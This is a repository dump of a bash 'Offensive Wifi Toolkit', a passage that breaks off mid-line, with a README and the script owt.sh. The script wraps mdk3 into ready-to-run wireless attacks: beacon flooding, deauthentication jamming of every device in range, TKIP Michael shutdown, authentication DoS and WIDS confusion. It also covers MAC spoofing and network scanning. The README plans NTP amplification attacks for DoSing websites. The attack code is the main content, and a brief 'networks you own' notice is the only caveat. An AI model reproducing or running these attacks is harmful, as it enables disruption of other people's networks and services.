├── .gitignore ├── LICENSE ├── README.md ├── img ├── image.png ├── image1.png ├── image11.png ├── image2.png ├── image3.png ├── image4.png ├── image7.png ├── image8.png ├── image9.png ├── imagemain.png ├── img6.png └── update.png ├── owt.sh └── troubleshoot.sh /.gitignore: -------------------------------------------------------------------------------- 1 | #ignore all images 2 | img/**/*.png 3 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Brennan Mccown 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Currently unstable will be updated eventually. 2 | 3 |

4 | Offensive Wifi Toolkit (owt) created by Brennan Mccown (clu3bot) 5 | 6 | banner 7 | 8 |

9 |

10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 |

29 | This tool compiles some necessary tools for wifi auditing in a unix bash script with a user friendly interface. The goal of owt is to have the smallest file size possible while still functioning at maximum proficiency. 30 |

31 | 32 |

33 | 34 | 35 | 36 |

37 | 38 | # Installation & Running the script 39 | ``` 40 | ~ $ git clone https://github.com/clu3bot/OWT.git 41 | ~ $ cd owt 42 | ~ $ sudo bash owt.sh 43 | ``` 44 | **Note: owt requires root privileges** 45 | 46 | **Make sure to allow updates regularly** 47 | # Usage 48 | **Detailed How-to of owt can be found here** 49 | * [Usage](https://github.com/clu3bot/owt/wiki/Usage) 50 | 51 | # Troubleshooting 52 | **Troubleshoot.sh will detect possible problems you may have with owt** 53 | ``` 54 | ~ $ cd owt 55 | ~ $ sudo bash troubleshoot.sh 56 | ``` 57 | 58 | # Recent Additions 59 | 60 | * Added SMS messages. One free sms message per day using Textbelt. 61 | 62 | # Dependencies 63 | * aircrack-ng 64 | * mdk3 65 | * xterm 66 | * macchanger 67 | * ***owt tool will prompt the user to download these dependencies if they arent installed*** 68 | 69 | # In The Works 70 | * Expanding owt from being just for wireless network attacking. More information below. 71 | * Adding more advanced functionality to owt such as NTP amplification attacks to screw with NTP servers for dosing websites. 72 | * Adding AP tracking functionality and ability to save lists of common saved networks that devices have in the area. I.E if there is a starbucks near by you can track if starbucks is a common AP that phones in the area have as a saved network. This is useful for knowing which APs to spoof. 73 | * Adding a method of saving text or csv files of device names and mac-addresses on a newtwork. 74 | * Making a windows version of owt. 75 | * Major U.I changes 76 | * Fixing the "issue" where owt doesn't support use within Virtual Machines. Not priority as this is a pain in the ass but has been requested :) 77 | 78 | # History 79 | **owt Version History can be found here** 80 | * [Versions](https://github.com/clu3bot/owt/wiki/Versions) 81 | 82 | **Stable Releases Source Code can be found here** 83 | * [Releases](https://github.com/clu3bot/owt/releases) 84 | 85 | 86 | # All Resources 87 | * **Contact me** [here](https://github.com/clu3bot/owt/wiki/Contact) 88 | * **Tutorial for owt** [here](https://github.com/clu3bot/owt/wiki/Usage) 89 | * **owt wiki** [here](https://github.com/clu3bot/owt/wiki/) 90 | * **Updates/Versions history** [here](https://github.com/clu3bot/owt/wiki/Versions) 91 | * **Help and Troubleshooting** [here](https://github.com/clu3bot/owt/wiki/Help) 92 | 93 | # Legal Notice 94 | 95 | This script is intended to be used on networks you own. Don't use this script maliciously. You are responsible for your own actions. 96 | 97 | -------------------------------------------------------------------------------- /img/image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/clu3bot/owt/a543927191beb01e17066ef1ed125ac84bb691e7/img/image.png -------------------------------------------------------------------------------- /img/image1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/clu3bot/owt/a543927191beb01e17066ef1ed125ac84bb691e7/img/image1.png -------------------------------------------------------------------------------- /img/image11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/clu3bot/owt/a543927191beb01e17066ef1ed125ac84bb691e7/img/image11.png -------------------------------------------------------------------------------- /img/image2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/clu3bot/owt/a543927191beb01e17066ef1ed125ac84bb691e7/img/image2.png -------------------------------------------------------------------------------- /img/image3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/clu3bot/owt/a543927191beb01e17066ef1ed125ac84bb691e7/img/image3.png -------------------------------------------------------------------------------- /img/image4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/clu3bot/owt/a543927191beb01e17066ef1ed125ac84bb691e7/img/image4.png -------------------------------------------------------------------------------- /img/image7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/clu3bot/owt/a543927191beb01e17066ef1ed125ac84bb691e7/img/image7.png -------------------------------------------------------------------------------- /img/image8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/clu3bot/owt/a543927191beb01e17066ef1ed125ac84bb691e7/img/image8.png -------------------------------------------------------------------------------- /img/image9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/clu3bot/owt/a543927191beb01e17066ef1ed125ac84bb691e7/img/image9.png -------------------------------------------------------------------------------- /img/imagemain.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/clu3bot/owt/a543927191beb01e17066ef1ed125ac84bb691e7/img/imagemain.png -------------------------------------------------------------------------------- /img/img6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/clu3bot/owt/a543927191beb01e17066ef1ed125ac84bb691e7/img/img6.png -------------------------------------------------------------------------------- /img/update.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/clu3bot/owt/a543927191beb01e17066ef1ed125ac84bb691e7/img/update.png -------------------------------------------------------------------------------- /owt.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #Offensive Wifi Toolkit (owt) 3 | #Project start date (Feb. 8 2021) 4 | #Created By Brennan Mccown (clu3bot) 5 | #Version 3.1 6 | #This project is licensed with MIT License. 7 | 8 | 9 | #colors vars 10 | LBLUE='\033[1;34m' 11 | LRED='\033[1;31m' 12 | LGREEN='\033[1;32m' 13 | RED='\033[0;31m' 14 | YELLOW='\033[1;33m' 15 | NONE='\033[0m' 16 | PURPLE='\033[1;35m' 17 | CYAN='\033[0;36m' 18 | GREEN='\033[0;32m' 19 | # 20 | 21 | #predifined vars 22 | S=1000 23 | mon=Monitor 24 | man=Managed 25 | version="3.1" 26 | language="English" 27 | #user="clu3bot" 28 | github="https://github.com/clu3bot/" 29 | filename="owt.sh" 30 | creator="Brennan Mccown (clu3bot)" 31 | contactinfo="brennanmccown@protonmail.com" 32 | 33 | #initial clear 34 | clear 35 | 36 | #wrapper for echo with color and sleep 37 | ewr() { 38 | sleep 0.05 39 | echo -e "$@" 40 | } 41 | 42 | #checks for updates of the script. This completely deletes the owt.sh file and then pulls the latest version back into the local git. 43 | 44 | check_for_updates () { 45 | 46 | ewr "${YELLOW}Checking for updates${NONE}" 47 | while [ "$(git stash --include-untracked | git reset --hard | git pull https://github.com/clu3bot/owt.git > git.txt)" ]; do 48 | ewr "${NONE}[${LRED}Checking for updates to owt tool${NONE}]" 49 | ewr "\n${LBLUE}Please wait..${NONE}" 50 | done; 51 | if grep "Already" git.txt; then 52 | ewr "${LRED}owt is already up to date!${NONE}" 53 | rm -rf git.txt 54 | sleep 0.2 55 | else 56 | ewr "${LRED}owt has been updated. Restart script for changes to take place.${NONE}" 57 | sleep 1 58 | rm -rf git.txt 59 | exit 60 | fi 61 | 62 | 63 | } 64 | 65 | #says skipping updates when user chooses not to update 66 | 67 | skip_updates () { 68 | clear 69 | ewr "${LGREEN}Skipping Updates..${NONE}" 70 | sleep 0.4 71 | 72 | } 73 | 74 | 75 | #checks to see if dns can be established or not 76 | 77 | check_dns () { 78 | if ping -q -c 1 -W 1 8.8.8.8 >/dev/null; then 79 | sleep 0.1 80 | else 81 | ewr "${RED} DNS could not be established. Please read help.txt for more iformation.${NONE}" 82 | sleep 1.5 83 | ewr "${LGREEN}Returning to Main Menu..${NONE}" 84 | sleep 1.7 85 | main_menu 86 | fi 87 | } 88 | 89 | #checks to see if dns can be established or not which determines if updates will procede. 90 | 91 | check_for_connect () { 92 | if ping -q -c 1 -W 1 8.8.8.8 >/dev/null; then 93 | check_for_updates 94 | else 95 | ewr "${LRED}Could not Check for Updates ${NONE}:${RED} DNS could not be established. Please read help.txt for more iformation.${NONE}" 96 | sleep 1.5 97 | ewr "${LGREEN}Skipping Updates..${NONE}" 98 | sleep 1.7 99 | fi 100 | } 101 | 102 | #asks if the user would like to update the script. 103 | 104 | ask_for_updates () { 105 | clear 106 | echo -e "${LGREEN}The script may have updates available\n${LRED}${d}\n${LBLUE}Would you like to check for them now? (Y/N)" 107 | read -r re 108 | if [[ "$re" == ["yY"]* ]]; then 109 | check_for_connect; 110 | else 111 | skip_updates 112 | fi 113 | 114 | } 115 | 116 | #prints intro 1 117 | intro_1 () { 118 | echo -e "${LRED} 119 | ███████ █████ ███ █████ ███████████ 120 | ███░░░░░███ ░░███ ░███ ░░███ ░█░░░███░░░█ 121 | ███ ░░███ ░███ ░███ ░███ ░ ░███ ░ 122 | ░███ ░███ ░███ ░███ ░███ ░███ 123 | ░███ ░███ ░░███ █████ ███ ░███ 124 | ░░███ ███ ░░░█████░█████░ ░███ 125 | ░░░███████░ ░░███ ░░███ █████ 126 | ░░░░░░░ ░░░ ░░░ ░░░░░ " 127 | 128 | echo -e "${YELLOW} \n Offensive Wifi Toolkit (${filename})" 129 | echo -e "${LBLUE}\n Created by ${creator}" 130 | echo -e "${LBLUE} Version ${version}${NONE}" 131 | echo -e "${YELLOW}\n ...${NONE} " 132 | sleep 1.5 133 | clear 134 | ask_for_updates 135 | } 136 | 137 | #calls intro 1 function 138 | intro_1 139 | 140 | #Sleeps for 1 seconds 141 | sleep 1 142 | #clear intro 143 | clear 144 | 145 | 146 | #checks if the user has root perms. 147 | 148 | check_for_root () { 149 | 150 | isroot=$(whoami) 151 | 152 | if [ "$isroot" = "root" ]; then 153 | check="true" 154 | else 155 | check="false" 156 | fi 157 | 158 | } 159 | 160 | ###beta code### for prompt about eth0 161 | eth0_prompt() { 162 | clear 163 | ewr "${LRED}Error Connecting. Try using a Wireless Interface as opposed to Wired. If this doesn't help, try running troubleshoot.sh${NONE}" 164 | read -r -p "Press Enter to continue to Main Menu" 165 | main_menu 166 | } 167 | 168 | ###beta code### to check if iface is equal to eth0 169 | 170 | check_eth0() { 171 | if [ "${iface}" == "eth0" ]; then 172 | eth0_prompt 173 | fi 174 | } 175 | 176 | ###beta code### checks if there is a wireless interface available 177 | check_iface() { 178 | iface=$(airmon-ng | awk 'NR==4' | awk '{print $2}') 179 | 180 | if [[ -z "${iface// }" ]]; then 181 | iface="eth0" 182 | fi 183 | 184 | if [[ "${iface}" == "eth0" ]]; then 185 | mode="Wired Connection" 186 | else 187 | mode=$(iwconfig "$iface" | sed -n '/Mode:/s/.*Mode://; s/ .*//p') 188 | fi 189 | 190 | if [ "$mode" == "Monitor" ]; then 191 | Mod=Monitor 192 | else 193 | Mod=Managed 194 | fi 195 | } 196 | 197 | #print second intro 198 | 199 | intro_2 () { 200 | check_for_root 201 | clear 202 | ewr "${LRED}Welcome To Offensive Wifi Toolkit${NONE}\n" 203 | ewr "${LGREEN}-------------------------------------------------${NONE}" 204 | ewr "${YELLOW}These tools are meant for use on networks you own\nHack at your own risk\n${NONE}" 205 | 206 | if [ "$check" = "true" ]; then 207 | perm="User is root" 208 | else 209 | perm="User is not root" 210 | fi 211 | ewr "[${LRED}Permission Status${NONE}] ${LBLUE}${perm}${NONE}" 212 | check_iface 213 | ewr "[${LRED}Interface${NONE}] ${LBLUE}${iface}${NONE}" 214 | dn=$(lsb_release -is) 215 | ewr "[${LRED}Distribution${NONE}] ${LBLUE}${dn}${NONE}\n" 216 | ewr "${LGREEN}-------------------------------------------------${NONE}" 217 | ewr "${LBLUE}Check if all necessary packages are installed${NONE}" 218 | read -r -p "Press Enter to Continue.." 219 | } 220 | 221 | #checks permissions of the user due to root perms being required for the script to function properally. root perms are not optional 222 | 223 | permissions_prompt () { 224 | check_for_root 225 | if [ "$check" = "false" ]; then 226 | ewr "${LRED}owt requires root permissions!${NONE}\n" 227 | if [ "$check" = "true" ]; then 228 | perm="User is root" 229 | else 230 | perm="User is not root" 231 | fi 232 | ewr "[${LRED}Permission Status${NONE}] ${LBLUE}${perm}${NONE}\n" 233 | ewr "${LBLUE}Restart owt by using ${LRED}sudo bash owt.sh${NONE}" 234 | ewr "\n${RED}Now exiting the script..${NONE}" 235 | sleep 0.8 236 | exit 237 | else 238 | sleep 0.1 239 | fi 240 | } 241 | 242 | ###beta code for improved checking for dependencies 243 | 244 | check_dependencies() { 245 | permissions_prompt 246 | dependencies=(aircrack-ng mdk3 xterm macchanger) 247 | for d in "${dependencies[*]}"; do 248 | if [ "$(dpkg-query -W -f='${Status}' "$d" 2>/dev/null | grep -c "ok installed")" -eq 0 ]; then 249 | echo -e "${LBLUE}Some or all of the following packages must be installed for the script to run...\n${LRED}${d}\n${LBLUE}Would you like to install them now? (Y/N)" 250 | read -r r 251 | 252 | if [[ "$r" == ["yY"]* ]]; then 253 | 254 | if [ -x "$(command -v apt-get)" ]; then 255 | sudo apt-get install $d; 256 | if [ -x "$(command -v apk)" ]; then 257 | sudo apk add --no-cache $d; 258 | if [ -x "$(command -v dnf)" ]; then 259 | sudo dnf install $d; 260 | if [ -x "$(command -v zypper)" ]; then 261 | sudo zypper install $d; 262 | if [ -x "$(command -v pacman)" ]; then 263 | sudo pacman -S $d; 264 | else 265 | echo -e "${LRED}Could not locate a package manager." 266 | echo -e "${LBLUE}Try mannually installing the following packages${NONE}:\n $d" >&2; 267 | fi 268 | fi 269 | fi 270 | fi 271 | fi 272 | fi 273 | fi 274 | done 275 | } 276 | 277 | #calls check dependencies var to check for required dependencies for the script 278 | check_dependencies 279 | 280 | #calls permission prompt var to check for the required root privileges. 281 | permissions_prompt 282 | 283 | #calls intro 2 function 284 | intro_2 285 | 286 | # 287 | clear 288 | 289 | #function for displaying whats happening when switching from managed to monitor or vise versa 290 | 291 | ecmonm() { 292 | clear 293 | echo -e "${LGREEN}Putting Device in Monitor Mode${NONE}" 294 | } 295 | 296 | ecmanm() { 297 | clear 298 | echo -e "${LGREEN}Putting Device in Managed Mode${NONE}" 299 | } 300 | 301 | 302 | #checks if device is in monitor mode if not prompts the user to put device in monitor mode if the wireless card is in managed/station mode. 303 | 304 | check_monitor_mode () { 305 | check_iface 306 | if [ "$Mod" == "Monitor" ]; then 307 | sleep 0.1 308 | else 309 | ewr "${LBLUE}This script requires $mon mode, would you like to enable it now? ${LRED}(Y/N)${NONE}" 310 | 311 | read -r re 312 | fi 313 | if [[ "$re" == ["yY"]* ]]; then 314 | ecmonm & 315 | ifconfig "$iface" up 316 | sleep 0.1 317 | airmon-ng start "$iface" 318 | fi 319 | } 320 | 321 | #calls check monitor mode function 322 | 323 | check_monitor_mode 324 | 325 | 326 | #puts currently used wireless interface in monitor mode 327 | 328 | monitor_mode () { 329 | check_eth0 330 | ecmonm & 331 | airmon-ng check kill 332 | check_iface 333 | if [ "$Mod" == "Monitor" ]; then 334 | clear 335 | echo -e "${LRED}Device already in $mon mode ${NONE}" 336 | sleep 0.5 337 | main_menu 338 | else 339 | sudo airmon-ng start "$iface" 340 | clear 341 | echo -e "${LRED}Device now in $mon Mode${NONE}" 342 | main_menu 343 | fi 344 | } 345 | 346 | #puts currently used wireless interface in managed/station mode 347 | managed_mode () { 348 | check_eth0 349 | ecmanm & 350 | service network-manager start 351 | check_iface 352 | if [ "$Mod" == "Managed" ]; then 353 | clear 354 | echo -e "${LRED}Device already in $man mode ${NONE}" 355 | sleep 0.5 356 | main_menu 357 | else 358 | sudo airmon-ng stop "$iface" 359 | fi 360 | clear 361 | echo -e "${LRED}Device now in $man Mode${NONE}" 362 | main_menu 363 | } 364 | 365 | #scans for networks in the area then lists them in a numbered list for the user to select 366 | scan_networks () { 367 | check_eth0 368 | clear 369 | check_iface 370 | if [ "$Mod" == "Monitor" ]; then 371 | sleep 0.1 372 | else 373 | echo -e "${LRED}This tool requires Monitor Mode${NONE}" 374 | read -r -p "Press Enter to return to Main Menu" 375 | main_menu 376 | fi 377 | scan_animation & 378 | #failsafe for exit 379 | trap 'airmon-ng stop $iface > /dev/null;rm otp-01.csv 2> /dev/null' EXIT 380 | # 381 | xterm -e airodump-ng --output-format csv -w otp "$iface" > /dev/null & sleep 10 ; kill $! 382 | sed -i '1d' otp-01.csv 383 | kill %1 384 | echo -e "\n\n${LRED}Scan Results${NONE}" 385 | cut -d "," -f 14 otp-01.csv | nl -n ln -w 6 386 | while [ ${S} -gt "$(wc -l otp-01.csv | cut -d " " -f 1)" ] || [ ${S} -lt 1 ]; do 387 | echo -e "\n${LBLUE}Select a Network" 388 | read -r -p "$(tput setaf 7) " S 389 | done 390 | nn=$(sed -n "${S}p" < otp-01.csv | cut -d "," -f 14 ) 391 | rm -rf otp-01.csv 2> /dev/null 392 | echo -e "\n[${LGREEN}${nn}${NONE} ] Selected" 393 | read -r -p "$(tput setaf 7)Press Enter to Continue.." 394 | clear 395 | main_menu 396 | } 397 | 398 | 399 | #creates the about page function for useful information about owt 400 | about_page () { 401 | clear 402 | 403 | ewr "${LRED}About owt${NONE}\n" 404 | ewr "${PURPLE}--------------------------------${NONE}" 405 | ewr "${YELLOW}Creator${NONE}:${YELLOW}$creator${NONE}" 406 | ewr "${YELLOW}Github${NONE}:${YELLOW}$github${NONE}" 407 | ewr "${YELLOW}Language${NONE}:${YELLOW}$language${NONE}" 408 | ewr "${YELLOW}Version${NONE}:${YELLOW}$version${NONE}" 409 | ewr "${YELLOW}Filename${NONE}:${YELLOW}$filename${NONE}" 410 | ewr "${YELLOW}Contact${NONE}:${YELLOW}$contactinfo${NONE}" 411 | ewr "${PURPLE}--------------------------------${NONE}\n" 412 | ewr "${LRED}Press ${GREEN}[${NONE}Enter${GREEN}] ${LRED}to return to Main Menu${NONE}" 413 | } 414 | 415 | #creates the wifi attacks menu function 416 | wifi_attacks_menu () { 417 | clear 418 | check_eth0 419 | check_mode 420 | check_iface 421 | echo -e "${LRED} 422 | ███████ █████ ███ █████ ███████████ 423 | ███░░░░░███ ░░███ ░███ ░░███ ░█░░░███░░░█ 424 | ███ ░░███ ░███ ░███ ░███ ░ ░███ ░ 425 | ░███ ░███ ░███ ░███ ░███ ░███ 426 | ░███ ░███ ░░███ █████ ███ ░███ 427 | ░░███ ███ ░░░█████░█████░ ░███ 428 | ░░░███████░ ░░███ ░░███ █████ 429 | ░░░░░░░ ░░░ ░░░ ░░░░░ " 430 | 431 | ewr "\n${NONE}[${LRED}Interface${NONE}]${LBLUE} ${iface}${NONE} [${LRED}Mode${NONE}]${LBLUE} ${Mod}${NONE} [${LRED}Target Network${NONE}]${LBLUE} ${nn}${NONE}\n" 432 | 433 | ewr "${PURPLE}----------${NONE}[${LBLUE}General${NONE}]${PURPLE}---------\n" 434 | ewr "${NONE}[${LGREEN}0${NONE}] ${YELLOW} Main Menu\n" 435 | ewr "${PURPLE}-------${NONE}[${LBLUE}Wifi Attacks${NONE}]${PURPLE}-------\n" 436 | ewr "${NONE}[${LGREEN}1${NONE}] ${YELLOW} Beacon Flood Attack" 437 | ewr "${NONE}[${LGREEN}2${NONE}] ${YELLOW} Deauth/Jamming Attack" 438 | ewr "${NONE}[${LGREEN}3${NONE}] ${YELLOW} Basic AP Probe" 439 | ewr "${NONE}[${LGREEN}4${NONE}] ${YELLOW} WIDS/WIPS Confusion Attack" 440 | ewr "${NONE}[${LGREEN}5${NONE}] ${YELLOW} Michael Shutdown Exploitation" 441 | ewr "${NONE}[${LGREEN}6${NONE}] ${YELLOW} Authentication DoS Attack (AP Freeze)\n" 442 | ewr "${PURPLE}---------------------------${NONE}" 443 | while true; do 444 | echo -e "${LRED}Select an option:${NONE}" 445 | read -r -p "$(tput setaf 7)" option 446 | case $option in 447 | 448 | 0) echo -e "\n${NONE}${YELLOW}Selected${NONE}»${NONE} [${LBLUE}$option${NONE}]" 449 | read -r -p "Are you sure? Press Enter.." 450 | main_menu 451 | ;; 452 | 1) echo -e "\n${YELLOW}Selected${NONE}»${NONE} [${LBLUE}$option${NONE}]" 453 | read -r -p "Are you sure? Press Enter.." 454 | beacon_flood_attack 455 | ;; 456 | 2) echo -e "\n${YELLOW}Selected${NONE}»${NONE} [${LBLUE}$option${NONE}]" 457 | read -r -p "Are you sure? Press Enter.." 458 | deauth_attack 459 | ;; 460 | 3) echo -e "\n${YELLOW}Selected${NONE}»${NONE} [${LBLUE}$option${NONE}]" 461 | read -r -p "Are you sure? Press Enter.." 462 | probe_attack 463 | ;; 464 | 4) echo -e "\n${YELLOW}Selected${NONE}»${NONE} [${LBLUE}$option${NONE}]" 465 | read -r -p "Are you sure? Press Enter.." 466 | confusion_attack 467 | ;; 468 | 5) echo -e "\n${YELLOW}Selected${NONE}»${NONE} [${LBLUE}$option${NONE}]" 469 | read -r -p "Are you sure? Press Enter.." 470 | michael_shutdown 471 | ;; 472 | 6) echo -e "\n${YELLOW}Selected${NONE}»${NONE} [${LBLUE}$option${NONE}]" 473 | read -r -p "Are you sure? Press Enter.." 474 | authentication_dos 475 | ;; 476 | *) echo -e "${LRED}Not an Option${NONE}" 477 | wifi_attacks_menu 478 | ;; 479 | esac 480 | done 481 | } 482 | 483 | #beacon flood attack using mdk3 /// creates fake aps which will appear in the general vicinity of the device. 484 | beacon_flood_attack () { 485 | clear 486 | check_mode 487 | check_iface 488 | 489 | echo -e "${LGREEN}Press [CRTL] C To Stop${NONE}" 490 | sleep 0.5 491 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}Beacon Flood Selected${NONE}" 492 | sleep 1 493 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}Sending Packets${NONE}" 494 | sleep 1 495 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}Spamming Network APs${NONE}" 496 | mdk3 "$iface" b -s 250 497 | } 498 | 499 | #airplay deauth frame attack using mdk3 /// disconnects all divices from every router in range 500 | deauth_attack () { 501 | clear 502 | check_mode 503 | check_iface 504 | 505 | echo -e "${LGREEN}Press [CRTL] C To Stop${NONE}" 506 | sleep 0.5 507 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}Deauth/Jammer Selected${NONE}" 508 | sleep 1 509 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}Sending Packets..${NONE}" 510 | sleep 1 511 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}Disconnecting all Devices From Networks..${NONE}" 512 | mdk3 "$iface" d -c 513 | } 514 | 515 | #wids/wips confusion attack using mdk3 /// when wps pin is known the attack and crack the password of the wireless network. this is currently a beta feature // needs improvement, might use something other the mdk3 to preform this attack in the future. 516 | confusion_attack () { 517 | clear 518 | check_mode 519 | check_network_name 520 | check_iface 521 | 522 | echo -e "${LGREEN}Press [CRTL] C To Stop${NONE}" 523 | sleep 0.5 524 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}AP Probe Selected${NONE}" 525 | sleep 1 526 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}Sending Packets..${NONE}" 527 | sleep 1 528 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}WIDS/WIPS Confusion Commencing.." 529 | mdk3 "$iface" w -c -z -t "$nn" 530 | } 531 | 532 | #probe using mdk3 /// kinda of useless but can sometimes crash much older routers or routers with very out dated firmware 533 | probe_attack () { 534 | clear 535 | check_mode 536 | check_network_name 537 | check_iface 538 | 539 | echo -e "${LGREEN}Press [CRTL] C To Stop${NONE}" 540 | sleep 0.5 541 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}AP Probe Selected${NONE}" 542 | sleep 1 543 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}Sending Packets..${NONE}" 544 | sleep 1 545 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}Probing Network.." 546 | mdk3 "$iface" p -e "$nn" 547 | } 548 | 549 | #michael shutdown exploitation using mdk3 /// outdated but depending on the routers firmware this attack can shutdown Aps using TKIP encryption // currently searching for other attack methods to replace MSTKIP 550 | michael_shutdown () { 551 | clear 552 | check_mode 553 | check_network_name 554 | 555 | echo -e "${LGREEN}Press [CRTL] C To Stop${NONE}" 556 | sleep 0.5 557 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}TKIP Selected${NONE}" 558 | sleep 1 559 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}Sending Packets..${NONE}" 560 | sleep 1 561 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}TKIP Exploit Commencing.." 562 | mdk3 "$iface" m -t "$nn" -w 5 -n 100 563 | } 564 | 565 | #auth dos attack using mdk3 /// sends fabricated authentication frames to routers in order to capture handshake. works with wpa2 sometimes ###needs fixing 566 | authentication_dos () { 567 | clear 568 | check_mode 569 | check_network_name 570 | 571 | echo -e "${LGREEN}Press [CRTL] C To Stop${NONE}" 572 | sleep 0.5 573 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}TKIP Selected${NONE}" 574 | sleep 1 575 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}Sending Packets..${NONE}" 576 | sleep 1 577 | echo -e "${NONE}${LGREEN}*${NONE}]${LRED}Authentication DoS Attack Commencing.." 578 | mdk3 "$iface" a -a "$nn" -c -s 400 579 | } 580 | 581 | #saves the output of the arp scan 582 | arp_output () { 583 | sudo arp-scan -I $iface -l | awk 'NR > 3' | head -n -3 > arpoutput-01.txt 584 | } 585 | 586 | #runs and arp scan and asks if user wants to save the output after 587 | arp_command () { 588 | check_iface 589 | sudo arp-scan -I $iface -l | awk 'NR > 3' | head -n -3 590 | echo -e "${YELLOW}\nSave this output to a file? ${LBLUE}(Y/N)${NONE}" 591 | 592 | } 593 | 594 | #runs and arp scan for router names and mac addresses 595 | arp_scan () { 596 | check_eth0 597 | clear 598 | arp_command & 599 | echo -e "${LGREEN}Scanning..${NONE}" && sleep 2; 600 | clear 601 | echo -e "${LRED}Output:${NONE}" 602 | read -r r 603 | if [[ "$r" == ["yY"]* ]]; then 604 | arp_output & 605 | echo -e "${LGREEN}Saving Output to file.${NONE}" 606 | sleep 0.7 607 | clear 608 | echo -e "${LGREEN}Saving Output to file..${NONE}" 609 | sleep 0.7 610 | clear 611 | echo -e "${LGREEN}Saving Output to file...${NONE}" 612 | sleep 0.7 613 | clear 614 | sleep 1 615 | echo -e "${LRED}File has been saved as arpoutput-01.txt" 616 | sleep 2 617 | main_menu; 618 | else 619 | clear 620 | echo -e "${LGREEN}Returning to Main Menu${NONE}" 621 | sleep 1.5 622 | main_menu; 623 | fi 624 | } 625 | 626 | #spoofs the mac address of the interface being used. should work on eth0 ##needs more testing and improvemnt. 627 | mac_spoof () { 628 | clear 629 | check_iface 630 | sudo ifconfig $iface down 631 | sudo macchanger -r ${iface} 632 | sleep 1 633 | ewr "${LRED}Your mac-address has now been changed.${NONE}" 634 | sleep 2.5 635 | clear 636 | sleep 1.5 637 | ewr "${YELLOW}Returning to Main Menu${NONE}" 638 | sleep 1.5 639 | main_menu 640 | } 641 | 642 | send_sms(){ 643 | clear 644 | check_dns 645 | ewr "\n${RED} NOTE: ${NONE}SMS Messaging allows one free sms message per day, per device.\n\n" 646 | ewr "${YELLOW} Enter Number as > ${LBLUE} 1 234 234 6789 ${LRED} With No spaces" 647 | ewr "${GREEN} Example = ${LRED}12342346789\n" 648 | ewr "${GREEN} Enter Phone Number With Country Code:" 649 | 650 | read -r phonenumber 651 | 652 | echo -e "\n${GREEN} Enter Message:" 653 | 654 | read -r sms 655 | 656 | smssent=$(curl -# -X POST https://textbelt.com/text --data-urlencode phone="$phonenumber" --data-urlencode message="$sms" -d key=textbelt) 657 | 658 | if grep -q true <<<"$smssent" 659 | 660 | then 661 | 662 | echo -e "\n${GREEN} SUCCESS" 663 | echo -e "${GREEN} ----------------------------------------------" 664 | echo "$smssent" 665 | echo -e "${GREEN} ----------------------------------------------" 666 | else 667 | echo -e "\n${LRED} FAIL\n" 668 | echo -e "${GREEN} ----------------------------------------------" 669 | echo "$smssent" 670 | echo -e "${GREEN} ----------------------------------------------\n" 671 | fi 672 | echo "Press any key to return to Main Menu" 673 | read -r 674 | } 675 | 676 | #checks if interface exists for variable assignment 677 | check_mode_for_vars () { 678 | check_iface 679 | } 680 | 681 | #checks if interface is in monitor or managed mode /// for tools that require monitor mode 682 | check_mode () { 683 | check_iface 684 | if [ "$Mod" == "Monitor" ]; then 685 | sleep 0.1 686 | else 687 | echo -e "${LRED}This tool requires $mon Mode${NONE}" 688 | read -r -p "Press Enter to continue to Main Menu" 689 | main_menu 690 | fi 691 | } 692 | 693 | #checks if the network name var is assigned 694 | check_network_name () { 695 | if [ -z ${nn+x} ]; then 696 | 697 | echo -e "${LBLUE}For this you must select a Network, 